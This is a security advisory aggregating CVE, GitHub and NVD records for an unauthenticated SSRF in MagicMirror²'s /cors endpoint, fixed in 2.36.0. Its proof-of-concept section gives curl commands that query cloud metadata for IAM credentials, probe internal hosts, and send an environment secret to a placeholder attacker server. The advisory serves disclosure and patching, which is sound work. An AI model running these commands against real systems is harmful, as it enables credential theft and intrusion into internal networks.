9.2critical
MagicMirror²: Unauthenticated SSRF via /cors endpoint
- Severity
- 9.2critical CVSS:4.0 by GitHub_M
- Exploit likelihood
- 1.62% (higher than 76% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-ph6f-2cvq-79hq
Description
MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| MagicMirrorOrg MagicMirror | < 2.36.0 | CVE List |
| magicmirror (npm) | before 2.36.0 | GitHub Advisory Database |
| magicmirror magicmirror | before 2.36.0 | NVD |
All scores
| GitHub_M | 9.2critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N |
| GitHub | 8.6critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| GitHub | critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N |
| NVD | 8.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.
GitHub Advisory Database
Summary
An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets.
Details
The /cors endpoint in js/server_functions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.
Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any **VARIABLE_NAME** pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).
Vulnerable code path:
GET /cors?url=<attacker-controlled-url>
→ replaceSecretPlaceholder(url) // expands **ENV_VAR** → process.env.ENV_VAR
→ fetch(url) // no validation, no blocklist
→ response returned to attacker // full body, status, headers
Key issues:
- No authentication required
- No URL validation or blocklist for private/reserved IP ranges
- No restriction on URL scheme or destination
- Environment variable expansion in URL before fetch
PoC
Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).
1. Basic SSRF — access cloud metadata (AWS IMDSv1):
curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"
If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.
2. Internal network scanning:
curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"
The attacker can probe internal services by observing response status codes and timing.
3. Environment variable exfiltration:
curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"
The server expands **SECRET_API_KEY** to the value of process.env.SECRET_API_KEY before making the request, sending the secret to the attacker-controlled server as a query parameter.
Impact
- Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
- Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
- Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
- Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The
/corsendpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability
NVD (es)
MagicMirror² es una plataforma de espejo inteligente modular de código abierto. Antes de la versión 2.36.0, una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) no autenticada en el endpoint /cors permite a cualquier atacante remoto forzar al servidor MagicMirror² a realizar peticiones HTTP arbitrarias a redes internas, servicios de metadatos en la nube y servicios de localhost. El endpoint también expande marcadores de posición de variables de entorno (VAR_NAME), lo que permite la exfiltración de secretos del lado del servidor. Esta vulnerabilidad está corregida en la versión 2.36.0.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-42281 changed 2026-05-14 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-ph6f-2cvq-79hq changed 2026-06-08 | CC-BY-4.0 |
| NVD | CVE-2026-42281 changed 2026-10-26 | Public domain |